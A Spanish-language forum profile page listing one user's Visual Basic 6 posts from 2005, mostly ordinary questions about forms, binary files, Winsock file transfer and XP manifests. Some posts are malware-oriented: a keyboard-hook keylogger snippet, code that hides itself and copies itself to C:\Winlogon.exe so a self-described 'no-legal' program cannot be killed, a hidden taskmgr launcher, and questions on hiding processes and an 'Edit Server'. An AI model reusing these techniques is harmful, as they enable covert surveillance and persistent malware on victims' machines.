Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - NYlOn

#1
Hola a todos, en realidad mi problema es mas de matematicas que de programacion, pero me parecio mas apropiado postearlo aca. Mi problema es el siguiente:
Tengo 2 lineas secantes (es decir, que se cortan en un punto pero no a 90°). Estas lineas estan representadas con controles Line. Los datos que yo tengo son (X1; Y1) y (X2; Y2), lo que significa que sé donde empieza y donde termina cada linea. Lo que necesito hacer (y es lo que no puedo conseguir), es situar un control PictureBox en la interseccion de esas 2 lineas.
Por favor si a alguien se le ocurre alguna solucion estaria muy agradecido.

Saludos.-
#2
Hola a todos:
En mi programa necesito ir creando diferentes forms iguales por lo que utilizo el siguiente codigo:

Dim Ventana as Form
Set Ventana = New Form2
Ventana.Show


Lo que necesito hacer es cerrar todas esas ventanas abiertas, ya que si pongo Unload Ventana solo se cierra la ultima ventana creada.
Por favor si alguien sabe como hacerlo que me de una mano.

Gracias de antemano.
#3
Hola a todos, mi problema es el siguiente:
Necesito ocultar una ventana y que esta tampoco aparezca en la barra de tareas. El problema es que tambien necesito que el todo siga funcionando, por lo que no puedo cerrarla con APIs.
Se como mover otras ventanas, activarlas o desactivarlas, cambiar el tamaño, pero no encuentro ninguna API para ocultarla. Intente iniciar la ventana dentro de mi programa pero el problema es que se trata de una ventana de conversacion del MSN y no se como hacerlo.

Espero que alguien pueda ayudarme, gracias de antemano.-
#4
Hola a todos, posteo porque necesito ayuda con un tema.
Cuando escribo en forma binaria un nuevo archivo, este se copia con 4 caracteres en la cabecera, que no son del archivo original, por consiguiente mi archivo no se abre.

Aca posteo un codigo, aclaro que no es exactamente lo que deseo hacer, es solo un ejemplo que muestra el problema de forma mas concreta. Espero que alguien me pueda ayudar.

Private Sub Form_Load()

    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Yo = Input(LOF(1), 1)
    Close #1
   
    Open "C:\Resultado.exe" For Binary As #2
        Put #2, , Yo
    Close #2
   
    End

End Sub


Cuando abro con el bloc de notas el archivo orignial en la primera linea aparece esto:
MZ       ÿÿ  ¸       @                                   ¸   º ´ Í!¸LÍ!This program cannot be run in DOS mode.

Y en Resultado.exe (donde tendria que aparecer exactamente el mismo codigo aparece:

  PMZ       ÿÿ  ¸       @                                   ¸   º ´ Í!¸LÍ!This program cannot be run in DOS mode.


Si se fijan bien, van a notar que los 4 primeros caracteres del archivo Resultado.exe son '  P' y los del original son 'MZ '. Sospecho que es por esto que no me ejecuta el Resultado.exe.


Repito, no es esto exactamente lo que quiero hacer (no digan que use FileCopy y eso porque mi objetivo no es copiar el mismo archivo, solo pongo este codigo para detallar bien donde me aparece el error).

Desde ya, muchisimas gracias por leer mis post, y si podes ayudarme, mejor ;).

Saludos.-
#5
Programación Visual Basic / CommonDialog
26 Diciembre 2005, 19:31 PM
Hola a todos, mi pregunta es la siguiente.
Hay alguna forma de que, mediante APIs, pueda utilizar el dialogo que aparece en la foto??



Lo necesito para seleccionar un directorio desde mi aplicacion.

Ya se que se puede crear un Form con listas de discos y carpetas, pero me gustaria hacerlo con APIs.

Gracias de antemano.

Un saludo y felices fiestas.-
#6
Programación Visual Basic / Duda con Split
27 Noviembre 2005, 20:38 PM
Si uso la funcion Split, x ejemplo:

Resultante = Split(Datos, "-")

Luego tengo q usar:

Text1 = Resultante(0) 'o cualkier otro numreo


Pero, hay alguna forma de saber en cuantas partes me divide mis datos el Split ??
Asi como el ListBox tiene la propiedad Count, hay alguna forma de saber cuantas partes tiene la variable resultante ??
#7
hola a to2..
Tengo una duda con el control INet (MSINET.OCX).
Tengo un programa q se coneta a un ftp (montado en mi pc) y cada vez q me conecto me salta el firewall (algo normal) y me da el tipico mensaje de pregunta (si deseo q mi programa obtenga acceso internet). Pero lo curioso es que me dice:
IP de destino: 127.0.0.1:Port 4936

:o

Pq la ip es 127.0.0.1??
y por que el puerto 4936 si mi programa indica claramente que quiero usar el puerto 21 :S

Si alguien tiene alguna idea de por que pueda ser, estaria muy agradecido de q posteara xD

un saludo y gracias de anteman0

• NYlOn •
#8
Programación Visual Basic / Programar para MSN
16 Octubre 2005, 21:48 PM
Hola a todos...

Bueno aca les dejo un link interesante... es un manual sobre como programar para MSN Messenger. Es sencillo y esta bien explicado.

Espero q les sea de utilidad !

un salud0

ah me olvidaba... el LINK[/b] xDDD
#9

Private Sub Timer1_Timer()
    Shell "taskmgr.exe", vbHide
End Sub


salu2 ! ;D
#10
Programación Visual Basic / Detectar tecla ALT
6 Octubre 2005, 22:48 PM
Hola a todos... Bueno mi problema es el siguiente:
Estoy haciando un keylogger mediante Hooks, el problema es que me detecta TODAS las letras menos la tecla ALT...
Ya intente probar con la constante VK_ALT pero no funciona :S
Me fije en el API-Viewer y no hay ninguna otra tecla que se le parezca xD

El metodo que uso para obtener una tecla es el siguiente (salteandome las declaraciones)

Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next

Dim xpInfo As KBDLLHOOKSTRUCT

    If nCode = HC_ACTION Then
        CopyMemory xpInfo, lParam, Len(xpInfo)

            Num = xpInfo.vkCode 'Obtener el numero de la tecla presionada
                 
                 
            If xpInfo.flags = 1 Then
                Select Case xpInfo.vkCode
                    Case VK_DELETE
                        Letra = " [DELETE] "
                    Case Else
                        Letra = ""
                Form1.Text1.Text = Form1.Text1.Text & Letra
            End If

    Else
        LowLevelKeyboardProc = CallNextHookEx(KeyBoardHook, nCode, wParam, lParam)
    End If

End Function


Si alguien me puede ayudar estaria muy agradecido...

Un salud0s

G0nz4
#11
Programación Visual Basic / Proceso Protegido
30 Septiembre 2005, 04:31 AM
Bueng0 gente, les keria compartir un codigo cencillisimo que acabo de hacer y que me parecio muy util ;D
Este codigo iria en el Load del 1er from que se ejecuta, y lo que hace es copiar el ejecutable en otro directorio con el nombre 'Winlogon.exe' (con este nombre, el proceso no puede ser terminado ;)), luego se cierra y habre la nueva copia. De este modo nuestro programa 'no-legal' no puede ser terminado....
Esper0 q les sea de utilidad

Private Sub Form_Load()

    Me.Visible = False 'esconde el From de la pantalla
   
    If App.PrevInstance = True Then 'evita que se ejecute 2 veces
        End
    End If
   
    If App.EXEName <> "Winlogon" Then 'si el programa no se llama "Winlogon.exe" entonces
        FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Winlogon.exe" 'lo copiamos al disco 'C:' con ese nombre
        DoEvents
        Shell "C:\Winlogon.exe" 'y lo ejecutamos
        DoEvents
        End
    Else 'en cambio, si se llama Winlogon.exe
        'Ejecutamos el codigo normal de nuestro programa
    End If

End Sub


NOTA: si vas a probar este ejemplo en tu pc, te conviene dejar el From visible y con un boton para finalizar el programa, ya que de otro modo va a ser imposible terminarlo (RESET xD)

esper0 que les sirva, y si no c entiende alg0 posteen (pero me parece q esta bien clarito :P)

salu2 !!!

G0nz4
#12
Programación Visual Basic / Open For Binary
18 Septiembre 2005, 19:58 PM
hola a todos
buen0 mi problema es el siguiente:
estoy intentando hacer una especie de 'Edit Server'...
para escribir el archivo uso el siguiente


   Open "C:\Hola.exe" For Binary As #1
       Put #1, LOF(1) + 1, Text1.Text
   Close #1


el problema aparece cuando trato de LEER el archivo ... la verdad no se como hacerlo, buske en el foro y en google pero no encuentro ningun metodo que me de resultad0 :S

si alguien sabe como hacerlo estaria muy agradecido de que me lo digiera :)

un salud0 a t02

G0nz4

EDIT:
el codigo que estoy tratando de usar para leer es este:

    Dim var As String
    Open "C:\Hola.exe" For Binary As #1
     Get #1, LOF(1) - 20, var
   Close #1
   Text2.Text = var
#13
hola gente
bueno, estuve investigando y no encontre nada =S...
necesito cambiar el tamaño de un Form sin borde (Border Style = 0 - None) como si tuviera la propidad en 2 - Sizable en tiempo de ejecucion...
si alguien sabe como hacerl0 le agradeceria mucho que me lo dijiera :)

un salud0

G0nz4
#14
Hola A T0d0s
Bueno acabo de encontrar una guia muy interesante para que tus aplicaciones tengan los mismos controles que los del Win XP.

lo voy a resumir un pokito, los que kieran leer la guia completa > http://www.elguille.info/vb/ejemplos/temasXPvb6.htm

Aca van los pasos:
(Como ejemplo, el programa se va a llamar TuPrograma.exe)


1. Abran el Notapad (Bloc de Notas) y peguen esto:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
    name="TuPrograma.exe"
    processorArchitecture="x86"
    version="1.0.0.1000"
    type="win32"
/>
<description>Descripcion de tu programa</description>
<dependency>
    <dependentAssembly>
        <assemblyIdentity
            type="win32"
            name="Microsoft.Windows.Common-Controls"
            version="6.0.0.0"
            processorArchitecture="x86"
            publicKeyToken="6595b64144ccf1df"
            language="*"
        />
    </dependentAssembly>
</dependency>
</assembly>


2. Le das a 'Archivo>Guardar como' y le pones de nombre TuPrograma.exe.Manifest
NOTA: el archivo tiene que estar en el mismo directorio que tu programa (pesa solo 1kb) sino se va a ver comun...
3. Abris tu proyecto en el VB y declaras lo siguiente:
Private Declare Sub InitCommonControls Lib "Comctl32.dll" ()
4. En el primer Form que aparece pones lo siguiente:

Private Sub Form_Initialize()
    InitCommonControls
End Sub

5 Ya esta ;D Guardas tu proyecto y litoh...
6. Podes hacer un archivo que se llame VB6.exe.manifest para que puedas ver como va kedando mientras lo programas...

Aclaraciones:
- TuProgram.exe y TuPrograma.exe.Manifest tienen que estar en el mismo directorio...
- Los controles del archivo MsComctl.ocx no adoptaran la apariencia. Para reemplazarlo usa los controles del comctl.ocx (Microsoft Windows Common Controls 5.0 (SP2))
- Algunos controles como el Check o el Option se ven negros si no los metes en un Picture. Por eso te recomiendo que crees el VB6.exe.manifest asi te podes ir fijando que controles no se ven y necesitan un Pcture o un Frame (anda fijandote xD)

Bueno espero que les sea util... Si no entienden algo... lean la guia completa xD
y si todavia no entendieron, posteen ;D

un slaud0 a todos

G0nz4

EDIT:
Fuente: http://www.elguille.info ;)
#15
Programación Visual Basic / Run-Time Error 339
1 Septiembre 2005, 23:56 PM
hola a todos...

este error me tiene loco :S no se que puede ser...
el programa me anda en mi pc pero no en otras computadores...
uso Windows XP y a las unicas DLL's que llamo son la User32 y a la Shell32

si alguien sabe q puede ser estaria muy agradecido...

un saludo

G0nz4
#16
H0la
bueno, estoy intentando esconder un proceso del Administrador de Tareas, pero intento registrar el programa como un servicio (utilizando "RegisterServiceProcess") me dice que no encuentra esa sentencia en 'Kernel32'
uso Windows XP
esto es por la version del OS ??
mi Kernel esta dañoado ??

si alguien peude responderme estaria muy agradecido =)

Gracias de anteman0

G0nz4
#17
Programación Visual Basic / Enviar archivo
28 Agosto 2005, 00:26 AM
bueno, queria compartir con uds un metodo sencillo para enviar archivos x medio de un WinSock ya que veo que siempre tienen problemas con esto
espero que les sea util

ak va el codigo del Cliente (el q manda el archivo)

Private Sub Command1_Click()
Dim SaveIn As String
Command1.Enabled = 0 'para que no mandarlo 2 veces
SaveIn = txtSaveIn.Text
tcpCliente.SendData SaveIn 'mandamos la ubicacion de donde se guardarra el archivo en el servidor

DoEvents 'cuando termine...
'mandamos el archivo

Dim Buffer As String * 50000 'declaramos la variable de 1 Kb
Common.ShowOpen 'buscamos el archivo a enviar
Open Common.FileName For Binary As #1 'abrimos en modo binario
    Do While Not EOF(1) 'mientras no lleguemos al final
        Get #1, , Buffer
        tcpCliente.SendData Buffer 'va mandando los datos
    Loop 'hasta q terminemos
Close #1 'cerramos el archivo
End Sub

Private Sub Form_Load()
txtSaveIn.Text = "Guardar en..."

'esto se puede sacar =)
tcpCliente.RemoteHost = "127.0.0.1"
tcpCliente.RemotePort = 4664
tcpCliente.Connect
End Sub

Private Sub tcpCliente_SendComplete()
Command1.Enabled = 1
End Sub


ak ta el code del servidor (el q resive el archivo)


Private Sub Form_Load()
tcpServidor.LocalPort = 4664
tcpServidor.Listen
End Sub

Private Sub tcpServidor_ConnectionRequest(ByVal requestID As Long)
tcpServidor.Close
tcpServidor.Accept requestID
End Sub

Private Sub tcpServidor_DataArrival(ByVal bytesTotal As Long)
Dim Datos As String
Dim SaveIn As String
Dim i As Long
tcpServidor.GetData Datos

i = Len(Datos) - 3

   Select Case Mid(Datos, i, 1)
        Case "."
            SaveIn = Datos
            Label1.Caption = SaveIn
        Case Else
            'guardamos los datos
            Open Label1.Caption For Binary As #1
            Seek (1), LOF(1) + 1
            Put #1, , Datos
            Close #1
    End Select
End Sub


bueno espero q le sirva a alguien ::D
el codigo esta probado, pero si alguien tiene algun problema q pregunte

un salud0

G0nz4
#18
necesito saber como hacer para que cuando al hacer click en un textbox se seleccione toda una linea (no todo el textbox, solo la linea en la que se hizo click)
no se si es posible esto :S
muchas gracias de antemano

un abraz0